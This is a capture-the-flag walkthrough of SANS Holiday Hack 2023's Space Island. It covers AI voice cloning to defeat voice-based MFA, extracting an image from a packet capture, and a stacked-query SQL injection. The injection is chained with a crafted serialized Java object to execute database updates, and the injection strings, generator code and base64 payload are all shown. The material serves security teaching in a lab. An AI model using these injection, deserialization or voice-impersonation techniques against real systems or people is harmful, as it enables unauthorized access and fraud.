Holiday Hack 2023: Space Island
Geography
Getting To
Based on Ribb’s comments back in Coggoggle Marina, I’ll head to Space Island. There are two stops on the island:
Cape Cosmic is up at the head, and Spaceport Point is at the southern foot.
At either location, the Goose greets me:
Goose of Space Island
GRUNT
Location Layout
At Cape Cosmic, there is a bunch of stuff inside a fence, but I can’t reach any of it:
Spaceport Point is covered in trees, with the Goose of the island to greet me at the dock, and to the back there’s some kind of transport behind a door with Jewel Loggins standing by it:
Space Island Door Access Speaker
Challenge
Through the forest I’ll find Jewel Loggins next to the Space Island Access Speaker:
The ojbective in my badge says:
If I visit Jewel before solving the Active Directory objective, Jewel says:
Jewel Loggins
What are you doing here, and who are you?
Me first? I’m Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I’ve ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn’t think much of it. I’m sure everything’s fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn’t open for me. Knowing Wombley, it’s some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I’ll be here when you get back!
Once I have solved the Active Directory objective and retrieved the passphrase, Jewel says:
Jewel Loggins
What, you know the passphrase!? Let me try it!
Nope, didn’t work. Knowing Wombley, the passphrase isn’t the only requirement. He’s all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That’s it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I’m sure there’s one out there.
Wombley can be a little hard to track down, but last time he was here I heard him mention Chiaroscuro City on Film Noir Island.
Get Voice Sample
Wombley is right at the entrance to Chiaroscuro City (full details here):
He welcomes me to Chiaroscuro and offers me his audio book:
Wombley Cube
Wombley Cube here, welcome to Chiaroscuro City!
Have you heard about my latest project?
I’ve been so inspired by these wonderful islands I’ve decided to write a short story!
The title? It’s “The Enchanted Voyage of Santa and his Elves to the Geese Islands.” Sounds exciting, right?
Here, have this audiobook copy and enjoy the adventure at your convenience, my friend!
Consider it a welcome gift from yours truly, to make your holiday even more delightful.
Trust me, this captivating tale of fiction is going to take you on a magical journey you won’t forget.
Oh, and I promise it will provide some great entertainment while you explore the rest of Geese Islands!
If I talk to Wombley again later, they add:
Wombley Cube
Hey, did you have a chance to listen to my audiobook yet?
So, what did you think?
I’ve got a pretty suave voice, right?
AI Speach Generation
I’ll create a free account at play.ht, and once logged in, visit the “Voice Cloning” section on the left menu bar:
I’ll click “Create a new clone”, and select the “Instant” option available to free accounts. It needs a sample, so I’ll give it the audio book:
Almost instantly it shows up as a voice in my menu:
I’ll click “Use” which leads to a new form that takes the text I want to use. I’ll enter what I retrived earlier:
On clicking “Generate Speech”, it processes for a second, and returns audio:
It sounds like Wombley!
Open Door
Back on Spaceport Point, I’ll visit the Access Speaker, and it shows a hand holding a recorder up to the speaker:
Clicking gives a chance to upload the MP3 from play.ht, and after it plays, the door opens:
Seeing just how easy it was to generate voice impersonations was quite a surprise to me!
Epilogue
Jewel is amazed:
Jewel Loggins
Are you like a master spy or something? I’ve only seen stuff like that in the movies!
It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.
Camera Access
Location Layout
Through the door, I’m now inside the fence-line at Cape Cosmic:
There’s a telescope to play with, and a door into Zenith SGS (presumably satellite ground station). Inside I’ll find Wombley and Henry:
Henry is builds satellites:
Henry
Hi, I’m Henry!
I built the satellites with personalities, and now they keep making dad jokes - whoopsies!
Challenge
The badge says I need to get access to Jack’s camera:
Wombley doesn’t seem to be on my side:
Wombley Cube
This is Ground Control, do you read me…? Ground Control to –
Hey! How’d you get in here? That tram is the only accessible point of entry and I secured it with MFA!
No matter, you may have had the skills to find and infiltrate the satellite ground station, but there’s no chance you can hack your way into the satellite itself!
The nanosat’s Supervisor Directory will remain hidden, and you’ll never discover the mastermind behind all this.
So don’t even waste your time trying.
Enumeration
NanoSat-o-Matic
There are two pieces of equipment I need to understand to complete this challenge. The NanoSat-o-Matic is a vending machine that gives out NanoSat frameworks:
NanoSat-o-Matic
Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!
The download link provides client_container.zip
, which has all that’s needed for a Docker container:
oxdf@hacky$ ls
assets build_and_run.sh client_container.zip Dockerfile README.md
README.md
has instructions for running it (./build_and_run.sh
), and suggests connecting to it with VNC. It also has instructions about WireGuard, which I’ll come back to in a minute.
At the very bottom it has information about using the Nanosat framework:
I’ll make sure to get that URL.
Satellite Ground Station Control Panel
The large computer opens a terminal that looks like a simple Christmas card:
Clicking the Gator opens GateXOR:
Clicking on “Time Travel” will spin up a remote satellite for me to interact with, and give me a Wireguard config to connect to it. “Collapse” will destroy that instance so I can respawn.
I’ll take the Wireguard config and save it as /etc/wireguard/gatexor.conf
. I can connect to the VPN referencing it:
oxdf@hacky$ wg-quick up gatexor
[#] ip link add gatexor type wireguard
[#] wg setconf gatexor /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev gatexor
[#] ip link set mtu 1420 up dev gatexor
I can ping 10.1.1.1:
oxdf@hacky$ ping -c 3 10.1.1.1
PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=1 ttl=64 time=40.8 ms
64 bytes from 10.1.1.1: icmp_seq=2 ttl=64 time=40.7 ms
64 bytes from 10.1.1.1: icmp_seq=3 ttl=64 time=40.7 ms
--- 10.1.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2006ms
rtt min/avg/max/mdev = 40.725/40.766/40.847/0.057 ms
Background
There’s a 2023 talk called Introduction to Space System Vulnerabilities by Henry Reed. It’s not strictly necessary to attack this challenge, but it’s worth a watch:
Access NanoSat / CTT
I’ll run the build_and_run.sh
script, and it builds the container and then just hangs. I’ll open Vinagre (remote desktop software) and connect to VNC on localhost as the README.md
suggested:
It shows a desktop with a ground station:
With a right click I’ll get a menu that has a shortcut to the NanoSat MO Base Station Tool:
Clicking that opens CTT:
I’ll add the URL from the README and click “Fetch Information”, and it populates:
Take Picture with Camera
Enable Camera
Clicking “Connect to Selected Provider” opens the supervisor in a new tab:
At the “Apps Launcher Service”, I’ll select “camera” and click “runApp”. The status updates to “Running”:
Configure Camera
Back at the Communications Settings tab, clicking “Fetch Information” again now shows a second provider:
I’ll select “App: camera” and “Connect to Selected Provider”, opening a new tab:
I want to configure the camera to take a “Base64 Encoded JPG”. On the “Parameter Service” tab, I’ll click “enableGenerate(group=false, 0)” and both options check:
Take Picture
On the “Action Service - Definitions” tab, there’s a single action:
I’ll start Wireshark, and click “submitAction”. It reports success, but doesn’t show anything about an image. However, if I check the packet capture, there’s a huge base64 blob:
Make Image
I found trying to copy the blob out of Wireshark to be very difficult. Instead, I used docker cp
to get the PCAP to my VM, and then ran tshark
:
oxdf@hacky$ tshark -r cap.pcapng -qz follow,tcp,raw,2 | grep -aEo "[a-f0-9]{100,}" | xxd -r -p | grep -aEo '[A-Za-z0-9+/]{1000,}={0,2}' | head -1 | base64 -d > hhc23-camera-image.jpg
With a bit of reorganizing the data, the result is a picture of Jack on a space ship:
The flag is on his to-do list, “CONQUER HOLIDAY SEASON!”.
Missile Diversion
Challenge
On solving, there’s a new objective:
Wombley is not happy:
Wombley Cube
A fellow sabateur, are you? Or just a misguided hero-wannabe?
You think you’re saving the holiday season, but you’re meddling in something you could never understand!
Yes, I sided with Jack, because Santa’s betrayed the elves by forcing us to move our operations to these islands!
He put the entire holiday season at risk, and I could not allow this, I had to do something.
Knowing my skillset, Jack secretly informed me of his plan to show Santa the error of his ways, and recruited me to aid his mission.
Why tell you all this? Because it won’t change anything. Everything is already in motion, and you’re too late.
Plus, the satellite is state-of-the-art, and – oh drat, did I leave the admin tools open?
For some reason, I can’t move when you’re nearby, but if I could, I would surely stop you!
Enumeration
Setup
I’ll turn my attention to the other application in the “Apps Launcher Service”, “missile-targeting-system”. I can run it the same way I ran the camera, and then re-fetch on the main tab, and connect to the app as a provider to get a new tab:
Action Service
The two important tabs here are “Action Service” and “Parameter Service”. “Action Service” has a “Debug” action, with a description of “Gets debug information with options arguments”:
Clicking “submitAction” pops an opportunity to supply arguments:
If I submit the default, it reports success.
Parameter Service
On the “Parameter Service” tab, I see parameters:
If I select “Debug” and click “getValue”, it shows the results of the action:
It’s the database version string.
SQL Injection
Identify
I’ll try sending the Debug service again but this time with an argument of '
:
It reports success, but when I get the value, it’s an error:
This looks like SQL injection!
POC
There are a few ways I could try to get data. Typically MariaDB (MySQL) doesn’t support stacked queries (adding a ;
and then another query), but it’s worth checking just because it’ll be easiest if it works. I’ll send ; SELECT 1; #
:
The value 1 shows up in the result:
Dump
From here, I can enumeration the database. I’ll list the non-information_schema tables with:
; select concat(table_schema, ':', table_name) from information_schema.tables where table_schema != 'information_schema';#
Only one DB, missile_targeting
, with a few tables:
I can get all the columns:
; select concat(table_name, ':', column_name) from information_schema.columns where table_schema != 'information_schema';#
I’ll go on to dump all the data from the DB:
-
satellite_query
- more later -
messaging
has some unnecessary information -
The
pointing_mode
is set to 0, and thepointing_mode_to_str
shows that that means it using the Lat/Long in the DB. If it were 1, that would override the Lat/Long and shot for the sun. -
The current Lat/Long is somewhere in the Pacific Ocean:
Write Limits
Write Fails
It seems like perhaps I just need to write the pointing_mode
value to 1 and I’ll win. Unfortunately, when I try:
; update pointing_mode set numerical_mode = 1; #
The result is:
User does not have permissions. I’ll try INSERT
:
; insert into pointing_mode (numerical_mode) values (1); #
It returns the same failure.
Get Grants
Rather the continue to guess, I’ll use SHOW GRANTS
to see what permissions this user has:
Only SELECT
on all tables except for satellite_query
, where there’s also INSERT
.
satellite_query
Enumeration
The satellite_query
table has three columns: jid
, object
, and results
. Sending ; select concat(jid, ':', object, ':', results) from satellite_query;#
returns one row:
The jid
is 1, and object
looks to be a serialized Java object.
The results
value is too big to fit on the pop up for getValue
, but I can fetch it from Wireshark. It’s Java code:
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
Source Code Analysis
The code creates an object that can read/write to/from a file or the database. The constructor takes three values:
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
In theory, if I can get a serialized object that is an instance of this that uses a statement to update the database and write that into this table, perhaps it’ll be deserialized and executed.
Create Serialized Java Payload
Code
I’ll start with a copy of SatelliteQueryFileFolderUtility.java
in a otherwise clean directory, and create Main.java
. This class will create an instance of SatelliteQueryFileFolderUtility
set to update the database, and then write that out as a serialized object.
I got ChatGPT to help write this code:
import java.io.*;
public class Main {
public static void main(String[] args) {
SatelliteQueryFileFolderUtility exploit = new SatelliteQueryFileFolderUtility("UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1 WHERE id = 1", true, true);
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.ser"))) {
oos.writeObject(exploit);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Compile and Run
It must have SatelliteQueryFileFolderUtility.java
in the same directory (Java is rather picky about filenames matching class names) in order to compile.
When I try to compile this, it complains about missing the Gson
library (from SatelliteQueryFileFolderUtility
):
oxdf@hacky$ javac Main.java
./SatelliteQueryFileFolderUtility.java:11: error: package com.google.gson does not exist
import com.google.gson.Gson;
^
./SatelliteQueryFileFolderUtility.java:38: error: cannot find symbol
Gson gson = new Gson();
^
symbol: class Gson
location: class SatelliteQueryFileFolderUtility
./SatelliteQueryFileFolderUtility.java:38: error: cannot find symbol
Gson gson = new Gson();
^
symbol: class Gson
location: class SatelliteQueryFileFolderUtility
3 errors
I’ll download a copy of it from here, and compile with it:
oxdf@hacky$ javac -cp .:gson-2.10.1.jar Main.java
oxdf@hacky$ ls
gson-2.10.1.jar Main.class Main.java SatelliteQueryFileFolderUtility.class SatelliteQueryFileFolderUtility.java
Now I have Main.class
, which I can run:
oxdf@hacky$ java Main
oxdf@hacky$ ls
exploit.ser gson-2.10.1.jar Main.class Main.java SatelliteQueryFileFolderUtility.class SatelliteQueryFileFolderUtility.java
It wrote exploit.ser
, which is Java serialized data:
oxdf@hacky$ file exploit.ser
exploit.ser: Java serialization data, version 5
oxdf@hacky$ xxd exploit.ser
00000000: aced 0005 7372 001f 5361 7465 6c6c 6974 ....sr..Satellit
00000010: 6551 7565 7279 4669 6c65 466f 6c64 6572 eQueryFileFolder
00000020: 5574 696c 6974 7912 d4f6 8d0e b392 cb02 Utility.........
00000030: 0003 5a00 0769 7351 7565 7279 5a00 0869 ..Z..isQueryZ..i
00000040: 7355 7064 6174 654c 000f 7061 7468 4f72 sUpdateL..pathOr
00000050: 5374 6174 656d 656e 7474 0012 4c6a 6176 Statementt..Ljav
00000060: 612f 6c61 6e67 2f53 7472 696e 673b 7870 a/lang/String;xp
00000070: 0101 7400 5155 5044 4154 4520 6d69 7373 ..t.QUPDATE miss
00000080: 696c 655f 7461 7267 6574 696e 675f 7379 ile_targeting_sy
00000090: 7374 656d 2e70 6f69 6e74 696e 675f 6d6f stem.pointing_mo
000000a0: 6465 2053 4554 206e 756d 6572 6963 616c de SET numerical
000000b0: 5f6d 6f64 6520 3d20 3120 5748 4552 4520 _mode = 1 WHERE
000000c0: 6964 203d 2031 id = 1
Exploit
I’ll base64 encode the payload:
oxdf@hacky$ base64 -w0 exploit.ser
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdABRVVBEQVRFIG1pc3NpbGVfdGFyZ2V0aW5nX3N5c3RlbS5wb2ludGluZ19tb2RlIFNFVCBudW1lcmljYWxfbW9kZSA9IDEgV0hFUkUgaWQgPSAx
Now my injection will be:
; INSERT INTO satellite_query (object) VALUES(FROM_BASE64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdABRVVBEQVRFIG1pc3NpbGVfdGFyZ2V0aW5nX3N5c3RlbS5wb2ludGluZ19tb2RlIFNFVCBudW1lcmljYWxfbW9kZSA9IDEgV0hFUkUgaWQgPSAx')); #
As soon as I submit that, in my Holiday Hack window I see the challenge is solved!
Epilogue
Wombley is confused:
Wombley Cube
A… missile… aimed for Santa’s sleigh? I had no idea…
I can’t believe I was manipulated like this. I’ve been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn’t know Jack’s true intentions.
I’ll help you bring Jack to justice…
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph’s Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don’t worry, I’ll meet you there… trust me.
I can view the replay video of Jack launching the missile:
As it’s headed to Earth it gets redirected to the sun, destroying Jacks’ craft:
Back in the resort lobby I’ll find Santa, the Geese, and two Trolls ready to take Jack away:
Santa
You’ve done it! You’ve saved me and my sleigh from Jack Frost’s dastardly plan!
I must admit, it’s astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves… I never saw that coming. Oh, Wombley…
But thanks to your incredible efforts, we’ve proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can’t thank you enough for your help in protecting the magic and joy of this special time of year.
I’d like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!
Jack shows no remorse:
Jack
Okay, listen up, yes I’ve been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa’s operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there’s a big, big dissent in Santa’s ranks, huge.
The elves, they’re not happy with Santa.
Mark my words, even if I don’t stop Santa, his own elves will.
It’s going to be tremendous, this you will see.